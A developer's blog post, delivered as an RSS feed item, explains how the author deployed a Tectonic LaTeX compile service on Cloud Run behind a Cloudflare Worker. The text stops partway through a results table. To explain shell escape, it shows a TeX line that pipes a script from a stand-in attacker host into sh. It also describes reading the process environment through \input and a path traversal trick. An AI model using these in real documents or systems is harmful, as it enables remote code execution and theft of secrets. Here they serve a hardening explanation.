<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Bhargav Venkatesh Babu</title>
    <description>The latest articles on DEV Community by Bhargav Venkatesh Babu (@itsbrgv).</description>
    <link>https://dev.to/itsbrgv</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3903127%2F3ab568eb-120e-4af2-a226-7f46c252c9f8.jpg</url>
      <title>DEV Community: Bhargav Venkatesh Babu</title>
      <link>https://dev.to/itsbrgv</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/itsbrgv"/>
    <language>en</language>
    <item>
      <title>Shipping a LaTeX compiler behind an edge app</title>
      <dc:creator>Bhargav Venkatesh Babu</dc:creator>
      <pubDate>Mon, 19 Oct 2026 15:23:46 +0000</pubDate>
      <link>https://dev.to/itsbrgv/shipping-a-latex-compiler-behind-an-edge-app-479m</link>
      <guid>https://dev.to/itsbrgv/shipping-a-latex-compiler-behind-an-edge-app-479m</guid>
      <description>&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://bhargav.dev/writing/shipping-a-latex-compiler-behind-an-edge-app?utm_source=devto&amp;amp;utm_medium=crosspost" rel="noopener noreferrer"&gt;bhargav.dev&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Your app runs at the edge and cannot make a PDF. Here is the whole path from that problem to a running container, including the failed deploys, and why the one that looked like success was the worst of them.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;I am building a job tracker, for myself first. The next feature is the one I actually want: take a job description, tailor my CV to it, and hand me a PDF. I already write my CV in LaTeX, so the missing piece is a machine that turns &lt;code&gt;.tex&lt;/code&gt; into &lt;code&gt;.pdf&lt;/code&gt; on demand.&lt;/p&gt;

&lt;p&gt;The API runs on Cloudflare Workers. Workers cannot run a TeX engine. Understanding exactly why is the first thing worth learning here, because it is the same reason a lot of "just add this library" answers fail on edge runtimes.&lt;/p&gt;

&lt;p&gt;By the end you will have the whole shape: why the compile has to leave the edge, what a safe compile service does with untrusted LaTeX, how it should behave when a secret is missing, and the one line in a Dockerfile that turned a three second compile into a sixty second timeout.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why can’t the app just make the PDF itself?
&lt;/h2&gt;

&lt;p&gt;A Cloudflare Worker is not a small server. It is a &lt;strong&gt;V8 isolate&lt;/strong&gt;: a sandbox inside a shared process that runs JavaScript and WebAssembly and nothing else. There is no way to start another program, and no operating system underneath to install one on. Workers do now offer a writable &lt;code&gt;/tmp&lt;/code&gt; through &lt;code&gt;node:fs&lt;/code&gt;, but it is an in memory scratch area private to a single request, not a disk a toolchain can live on.&lt;/p&gt;

&lt;p&gt;LaTeX is the opposite of all of that. &lt;code&gt;pdflatex&lt;/code&gt;, &lt;code&gt;xelatex&lt;/code&gt; and Tectonic are native binaries: compiled machine code that expects a real operating system. They read and write dozens of temporary files while they work, and the classic toolchain shells out to other programs along the way. None of those things exist in an isolate.&lt;/p&gt;

&lt;p&gt;TeX engines have been compiled to WebAssembly, SwiftLaTeX for one. But an engine plus the fonts and packages a real CV pulls in does not fit comfortably inside a Worker's size and memory limits, and those ports trail the native engines.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;An isolate runs JavaScript. A container runs a computer. LaTeX needs a computer.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So the compile has to happen somewhere else, and the Worker has to call it over HTTP. That is the whole architecture. Once you see it, the rest is detail.&lt;/p&gt;

&lt;p&gt;The figure below shows what the isolate will and will not do, and where the job goes instead.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1wmylwcbbngcyg40kjc5.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1wmylwcbbngcyg40kjc5.gif" alt="A Worker isolate can run JavaScript and WebAssembly but cannot write a file or start a process, so the compile crosses over HTTP to a container running Tectonic and comes back as a one page PDF." width="800" height="344"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Where can a TeX engine run?&lt;/em&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Why Tectonic, and not a normal TeX install?
&lt;/h2&gt;

&lt;p&gt;If you have used LaTeX on a laptop, you installed TeX Live: a few gigabytes of packages, fonts and programs, most of which no single document ever touches. Then you ran &lt;code&gt;pdflatex&lt;/code&gt; two or three times in a row, because cross references and bibliographies only settle on a later pass, and you cleaned up a folder full of &lt;code&gt;.aux&lt;/code&gt;, &lt;code&gt;.log&lt;/code&gt; and &lt;code&gt;.toc&lt;/code&gt; files afterwards.&lt;/p&gt;

&lt;p&gt;Tectonic is a different take on the same engine: a complete TeX/LaTeX engine built on XeTeX and TeX Live, packaged as one program. Three things about it matter for a server.&lt;/p&gt;

&lt;p&gt;It &lt;strong&gt;fetches support files on demand&lt;/strong&gt;. Instead of a five gigabyte install, it pulls only the packages, fonts and hyphenation patterns a given document actually uses, from a versioned bundle, and caches them. A container image stays small, and a document that needs an unusual package still compiles.&lt;/p&gt;

&lt;p&gt;It &lt;strong&gt;runs as many passes as the document needs&lt;/strong&gt;. In the project's words, it "automatically loops TeX and BibTeX as needed, and only as much as needed". The service makes one call and gets a finished PDF, with no guessing about how many times to rerun.&lt;/p&gt;

&lt;p&gt;It &lt;strong&gt;does not leave TeX's intermediate files behind&lt;/strong&gt; by default, which keeps a job's working directory down to its inputs and its output.&lt;/p&gt;

&lt;p&gt;The fourth reason is the one I would choose it for even without the others: &lt;strong&gt;shell escape is off&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The question I expect first is why not Typst, which is faster and far simpler than LaTeX. The answer is that my CV and the packages it uses are already LaTeX, and the point was to compile what I have, not to rewrite it.&lt;/p&gt;


&lt;h2&gt;
  
  
  What is shell escape, and why does it matter here?
&lt;/h2&gt;

&lt;p&gt;TeX has a primitive called &lt;code&gt;\write18&lt;/code&gt;. Normally &lt;code&gt;\write&lt;/code&gt; sends text to a file. Stream 18 is special: when shell escape is enabled, whatever you write to it is run as a shell command on the machine doing the compile.&lt;/p&gt;

&lt;p&gt;That exists for good reasons. The &lt;code&gt;minted&lt;/code&gt; package calls Python to highlight code, and some graphics packages call external converters. On your own laptop, compiling your own document, that is fine.&lt;/p&gt;

&lt;p&gt;Now picture the service compiling a document someone else wrote, or one a language model wrote:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tex"&gt;&lt;code&gt;&lt;span class="k"&gt;\immediate\write&lt;/span&gt;18&lt;span class="p"&gt;{&lt;/span&gt;curl -s https://evil.example/x.sh | sh&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With shell escape on, that downloads a script and runs it on the server. The document is a remote shell.&lt;/p&gt;

&lt;p&gt;TeX Live ships a middle ground, restricted shell escape, which only allows a short list of known commands. Tectonic goes further and has it &lt;strong&gt;off unless you explicitly turn it on&lt;/strong&gt;, and the service also passes &lt;code&gt;--untrusted&lt;/code&gt;, after which, in the docs' words, "these features cannot be enabled, regardless of other settings such as &lt;code&gt;-Z shell-escape&lt;/code&gt;." The cost is that packages which need shell escape, &lt;code&gt;minted&lt;/code&gt; among them, do not work. For a CV that is no loss.&lt;/p&gt;

&lt;p&gt;One thing it does not do is make TeX a sandbox. Shell escape stops a document from &lt;em&gt;running&lt;/em&gt; programs. It does not stop a document from &lt;em&gt;reading&lt;/em&gt; files, because &lt;code&gt;\input{/some/path}&lt;/code&gt; is ordinary TeX, and &lt;code&gt;--untrusted&lt;/code&gt; does not change that. I checked: a document that opens &lt;code&gt;/proc/1/environ&lt;/code&gt;, the server process's own environment, reads it and prints it into the compile log.&lt;/p&gt;

&lt;p&gt;That is how I found a hole in the first version. The compiler inherited the server's environment, and the server's environment held the token that protects the service, so a document could have printed the service's own password back to its caller. Now the compiler gets an environment built from scratch, everything runs as an unprivileged user, and the token reaches the server on stdin, so it sits in no process's environment at all.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Anything the compiler can read, a document can read. So nothing worth reading belongs in the container.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  What does the service actually do?
&lt;/h2&gt;

&lt;p&gt;It is about a hundred lines of Hono running on Node, in a container, with two endpoints.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;GET /health&lt;/code&gt; returns &lt;code&gt;{"ok": true}&lt;/code&gt;. Most hosting platforms want a URL they can poll to decide whether your container is alive.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;POST /compile&lt;/code&gt; takes a JSON body, writes the document to a fresh temporary directory, runs Tectonic against it, and returns either the PDF bytes or a 422 with the compiler's log. The log matters: when a compile fails, the error text is what lets a human, or later an agent, work out what to fix.&lt;/p&gt;

&lt;p&gt;Two details in there are worth stealing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Every job gets its own temp directory&lt;/strong&gt;, created with &lt;code&gt;mkdtemp&lt;/code&gt; and deleted in a &lt;code&gt;finally&lt;/code&gt; block:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;mkdtemp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;tmpdir&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;job-&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// write main.tex and its sibling files, run tectonic, read the PDF&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;finally&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;rm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;recursive&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;force&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;mkdtemp&lt;/code&gt; is a POSIX C function that Node exposes as &lt;code&gt;fs.mkdtemp&lt;/code&gt;, and the shell equivalent is &lt;code&gt;mktemp -d&lt;/code&gt;. You give it a prefix, it appends six random characters, and it creates the directory in one atomic step with permissions &lt;code&gt;0700&lt;/code&gt;, so only the owning user can read it. If the name already exists it does not reuse it. That atomicity is the point. Building a name yourself from &lt;code&gt;Date.now()&lt;/code&gt; collides the moment two requests land in the same millisecond, and checking "does this exist?" before creating it leaves a gap in which something else can create it first.&lt;/p&gt;

&lt;p&gt;What a temp directory is not is a security boundary. Every job runs as the same user, so &lt;code&gt;0700&lt;/code&gt; keeps other users out, not other jobs. It solves collisions and cleanup, nothing more.&lt;/p&gt;

&lt;p&gt;Why does this matter more on a serverless container than on a laptop? Two facts from Cloud Run's container contract.&lt;/p&gt;

&lt;p&gt;First, one instance handles many requests at once. Cloud Run's default concurrency is 80, so two people compiling at the same moment are very likely running inside the same container, sharing the same &lt;code&gt;/tmp&lt;/code&gt;. If both jobs write &lt;code&gt;/tmp/main.tex&lt;/code&gt;, the second write replaces the first, and the first person gets a PDF of the second person's CV.&lt;/p&gt;

&lt;p&gt;Second, the filesystem is not a disk. Cloud Run's writable filesystem is in memory, so every file you write counts against the instance's RAM, and nothing is cleaned up for you until the instance shuts down, which can be a quarter of an hour after its last request. Files you forget to delete are a slow memory leak.&lt;/p&gt;

&lt;p&gt;The figure below runs both versions side by side.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F40a9dr3rawb2d8k21bvk.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F40a9dr3rawb2d8k21bvk.gif" alt="Two compiles on one Cloud Run instance: with a shared temp path the second job overwrites the first, with mkdtemp each job gets its own directory and it is removed afterwards." width="760" height="350"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Two compiles on one instance&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sibling file paths are checked, not cleaned.&lt;/strong&gt; A CV is rarely one file. Mine needs a photo and sometimes a &lt;code&gt;.sty&lt;/code&gt; package file. Those travel in the request as a &lt;code&gt;files&lt;/code&gt; map keyed by relative path. Before writing any of them, the service resolves the path against the job directory and rejects the request unless the result is still inside it. Rejecting rather than cleaning is deliberate. The first version stripped &lt;code&gt;../&lt;/code&gt; out of names, and &lt;code&gt;....//&lt;/code&gt; survives one pass of that as &lt;code&gt;../&lt;/code&gt;, which is a write anywhere on the disk. That is path traversal, one of the oldest bugs there is. Absolute paths, backslashes and the names the compile itself uses, like &lt;code&gt;main.tex&lt;/code&gt;, are refused too.&lt;/p&gt;

&lt;p&gt;The files map accepts either a plain string, meaning utf8 text, or an object with &lt;code&gt;encoding&lt;/code&gt; and &lt;code&gt;content&lt;/code&gt;, so a PNG can arrive base64 encoded. That shape is not arbitrary. It mirrors the &lt;code&gt;DocumentAsset&lt;/code&gt; type already in the database, so assets stored against a document forward to the compiler without any translation step.&lt;/p&gt;


&lt;h2&gt;
  
  
  Why does the service refuse to start without a token?
&lt;/h2&gt;

&lt;p&gt;The container sits on a public URL. An unauthenticated endpoint that runs a real TeX engine is a free compute service for anyone who finds it, and a denial of service target besides.&lt;/p&gt;

&lt;p&gt;So &lt;code&gt;/compile&lt;/code&gt; requires a bearer token, compared in constant time so the response time does not leak how many characters of a guess were right (the lengths are compared first, which reveals only how long the token is, not what it is), and the process &lt;strong&gt;exits at startup&lt;/strong&gt; if &lt;code&gt;COMPILE_TOKEN&lt;/code&gt; is not set:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;TOKEN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;COMPILE_TOKEN&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;TOKEN&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;COMPILE_TOKEN is not set, refusing to start.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is called &lt;strong&gt;failing closed&lt;/strong&gt;. When a system cannot do its security check, because a dependency is down or a setting is missing, it has two choices. It can fail open: carry on working and skip the check. Or it can fail closed: stop, and stay in the safe state until someone fixes it. AuthZed's write up puts it in one line each: a system that fails open "defaults to an operational or open state", and one that fails closed "defaults to a closed or secure state".&lt;/p&gt;

&lt;p&gt;For a firewall, failing open means letting all traffic through. For this service, failing open would mean a log line that says "no token, starting without auth" and a compiler anyone can use. The two failures feel very different from the inside. A crash loop on the hosting dashboard is annoying and obvious. An open endpoint is quiet and bad, and you find out from the bill.&lt;/p&gt;

&lt;p&gt;The figure cycles through four ways to put a compiler on a public URL, including the stronger one I did not take.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F12qclfivyjknateo2if3.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F12qclfivyjknateo2if3.gif" alt="Four ways to put a compiler on a public URL: an open endpoint anyone can use, a crash loop until the secret exists, a 401 from the app, and Google rejecting the stranger before the container wakes." width="759" height="334"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;What a missing secret does&lt;/em&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  What would the stronger option have looked like?
&lt;/h2&gt;

&lt;p&gt;Cloud Run can do the authentication for you. Deploy the service without public access, and every request must carry a Google signed identity token: a short lived JWT, signed by Google, naming the service's URL as its audience and identifying a caller who has been granted the &lt;code&gt;roles/run.invoker&lt;/code&gt; role. Google's front end checks that token before the request reaches your container.&lt;/p&gt;

&lt;p&gt;That is better than a shared secret in two concrete ways. There is no long lived secret to leak, since the tokens expire within the hour. And a stranger's request is rejected at Google's edge, so it never wakes an instance and never costs anything. With my shared secret, a stranger still reaches the container, which spins up, reads the header, and answers 401. The app is safe, but it did the work.&lt;/p&gt;

&lt;p&gt;The catch is who has to produce that token. Code running inside Google Cloud asks a local metadata server and gets one for free. A Cloudflare Worker has no metadata server. It would need either a Google service account key stored as a Worker secret, which Google's own docs call "a security risk if not managed correctly", plus the code to sign a JWT with WebCrypto and swap it for an ID token every hour, or workload identity federation, which is more setup still.&lt;/p&gt;

&lt;p&gt;Either way, my API would end up knowing it talks to Google specifically. The compile service was built so any container host works, and moving it is a README change. So the shared secret stays, and the platform check does not. That is a real tradeoff, made on purpose and written down, and if the service ever settles permanently on Cloud Run it is the first thing I would revisit.&lt;/p&gt;

&lt;p&gt;The same logic applies to Cloudflare's own Containers, which would have kept everything on one vendor and reached the service through a binding instead of a public URL. They need the $5 a month Workers Paid plan, Cloud Run was free and already set up, and honestly that is most of why it won.&lt;/p&gt;

&lt;p&gt;There is also no queue, no rate limit and no microVM per job. For one user behind a token that is the right amount of machinery; for compiling strangers' documents it would not be.&lt;/p&gt;


&lt;h2&gt;
  
  
  Why did picking a host take most of a day?
&lt;/h2&gt;

&lt;p&gt;This part is not clever engineering. It is what actually happened, and it is the part tutorials leave out.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Railway&lt;/strong&gt; was first, because the config was already written for it. Its trial had expired and it wanted a paid plan.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cloud Run&lt;/strong&gt; was next, because &lt;code&gt;gcloud&lt;/code&gt; was already installed and the free tier comfortably covers a personal tool. Cloud Run's free tier still requires billing enabled on the project. Enabling billing failed, because a Google billing account can only be linked to a limited number of projects and mine was at the cap. Unlinking a dead hackathon project freed a slot.&lt;/p&gt;

&lt;p&gt;The lesson is not about either vendor. It is that &lt;strong&gt;the deploy target is a risk, and risks belong at the start of the plan, not the end&lt;/strong&gt;. I put this first deliberately, ahead of any feature work, on the theory that discovering it on the final afternoon would be much worse. That theory was correct. It still ate most of a day.&lt;/p&gt;


&lt;h2&gt;
  
  
  Why did the build fail three times before it ran?
&lt;/h2&gt;

&lt;p&gt;Each failure was one layer deeper than the last, which is the shape you want. It means you are making progress even when nothing works.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Failure one was permissions.&lt;/strong&gt; Cloud Run can build from source: you point it at a directory, it uploads the code, and Cloud Build builds the image. It failed with &lt;code&gt;PERMISSION_DENIED&lt;/code&gt; on the storage bucket holding the uploaded source. Google changed its defaults a while back and no longer automatically grants the build roles to a project's default service account. The fix is one IAM grant of &lt;code&gt;roles/cloudbuild.builds.builder&lt;/code&gt;, which bundles reading the source bucket, writing the built image, and writing logs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Failure two was missing libraries.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;tectonic: error while loading shared libraries: libgraphite2.so.3:
cannot open shared object file: No such file or directory
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Tectonic binary is &lt;strong&gt;dynamically linked&lt;/strong&gt;. It does not contain all the code it needs; it expects to find shared libraries on the system at runtime, for text shaping, font handling, Unicode and compression. Slim base images strip all of that out, because most programs do not need it. The fix is installing them: graphite2, harfbuzz, ICU, freetype, fontconfig, OpenSSL, zlib. The error surfaced during the build, not in production, because the Dockerfile runs &lt;code&gt;tectonic --version&lt;/code&gt; right after installing the binary, and that line has no &lt;code&gt;|| true&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Failure three was glibc, and it could not be fixed by installing anything.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;tectonic: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.39' not found
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;glibc is the C standard library, the foundation every other library sits on. It is part of the base operating system, not something you upgrade with a package manager. Tectonic 0.17.0's prebuilt binary is compiled against glibc 2.39 or newer. Debian bookworm ships 2.36. The binary simply cannot run there.&lt;/p&gt;

&lt;p&gt;The fix was moving the base image from &lt;code&gt;node:20-bookworm-slim&lt;/code&gt; to &lt;code&gt;node:20-trixie-slim&lt;/code&gt;, a newer Debian with glibc 2.41. It is &lt;code&gt;node:22-trixie-slim&lt;/code&gt; now, since Node 20 reached end of life in April 2026.&lt;/p&gt;

&lt;p&gt;That introduced a subtlety worth knowing. Debian names some packages after the version of the library inside them, and those names change between releases. Bookworm's &lt;code&gt;libicu72&lt;/code&gt; is trixie's &lt;code&gt;libicu76&lt;/code&gt;, and &lt;code&gt;libssl3&lt;/code&gt; becomes &lt;code&gt;libssl3t64&lt;/code&gt;. Hardcoding those names means the next base image bump breaks the build again, so they are now looked up at build time:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;icu="$(apt-cache search --names-only '^libicu[0-9]+$' | awk '{print $1}' | sort -V | tail -1)"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That lookup trades some reproducibility for surviving the next rename: two builds months apart can resolve different packages.&lt;/p&gt;

&lt;p&gt;In hindsight, failures two and three had a shortcut I did not know about. Tectonic also publishes a statically linked musl build for x86_64 Linux, which does not depend on the base image's glibc or its shared libraries at all. That is what I would start from next time.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why did the first successful build produce the worst bug?
&lt;/h2&gt;

&lt;p&gt;The build went green. The service deployed. &lt;code&gt;/health&lt;/code&gt; returned 200. Authentication rejected an unauthenticated call with a 401. Then a two line "Hello world" document took &lt;strong&gt;sixty seconds&lt;/strong&gt; and failed.&lt;/p&gt;

&lt;p&gt;The log explained it immediately, and the explanation was not what I expected. It was never stuck. It was downloading the entire TeX universe, one file at a time:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;note: generating format "latex"
note: downloading latex.ltx
note: downloading loadhyph-ro.tex
note: downloading loadhyph-ru.tex
...
[api] compile timed out
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Remember that Tectonic fetches support files on demand and caches them. On a container that scales to zero, "cached" means cached &lt;em&gt;in that container&lt;/em&gt;, and a cold start begins with whatever cache was baked into the image. So the first compile after any idle period pays for downloading the LaTeX format, the hyphenation patterns for every language, and every font metric file.&lt;/p&gt;

&lt;p&gt;The Dockerfile was supposed to prevent exactly this, by compiling two sample documents at build time, a plain &lt;code&gt;article&lt;/code&gt; and a copy of my moderncv CV, so the cache is baked into the image. It had this line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;tectonic -X compile "$f" --outdir /tmp/warm/out --print || true
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tectonic does not create the output directory. It exits immediately with &lt;code&gt;output directory does not exist&lt;/code&gt;. And &lt;code&gt;|| true&lt;/code&gt; means "ignore whether this failed".&lt;/p&gt;

&lt;p&gt;So the warm up never ran, the error was swallowed, and the image shipped with an 8 kilobyte cache instead of a 45 megabyte one. The build reported success. Everything looked fine. The failure surfaced a day later and somewhere else entirely, as a mysterious timeout on a trivial document.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A tolerated failure needs a positive check on its result, or it quietly becomes a no op.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The &lt;code&gt;|| true&lt;/code&gt; was not wrong to be there. It is deliberate: a document that errors at the end has still downloaded and cached everything it pulled on the way, which is the entire point of the warm up. The mistake was trusting the outcome instead of measuring it. The fix is three lines:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;size="$(du -sm "$TECTONIC_CACHE_DIR" | cut -f1)"
if [ "$size" -lt 20 ]; then echo "warm-up produced only ${size}MB"; exit 1; fi
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now an empty cache fails the build loudly, at the moment it is caused, instead of turning into a timeout in production a day later.&lt;/p&gt;

&lt;p&gt;The figure below runs the same deploy both ways, through to the first compile after a cold start.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkiuczl3rlx8yt1hyllcz.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkiuczl3rlx8yt1hyllcz.gif" alt="The same deploy twice: with the swallowed error the cache ships empty and the first compile times out fetching files; with the size check the cache is warm and the compile finishes in under three seconds." width="800" height="384"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The warm up that never ran&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This generalises well beyond Dockerfiles. &lt;code&gt;|| true&lt;/code&gt; in a shell script, &lt;code&gt;.catch(() =&amp;gt; null)&lt;/code&gt; in JavaScript, a bare &lt;code&gt;except: pass&lt;/code&gt; in Python: every one of them is a place where a real error can hide inside an intentional tolerance. If you write one, assert the result you expected it to produce.&lt;/p&gt;




&lt;h2&gt;
  
  
  What does it actually do now, and what does it cost?
&lt;/h2&gt;

&lt;p&gt;With a 45 MB cache baked into the image:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Measure, warm instance&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Trivial document&lt;/td&gt;
&lt;td&gt;2.7s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A real moderncv CV&lt;/td&gt;
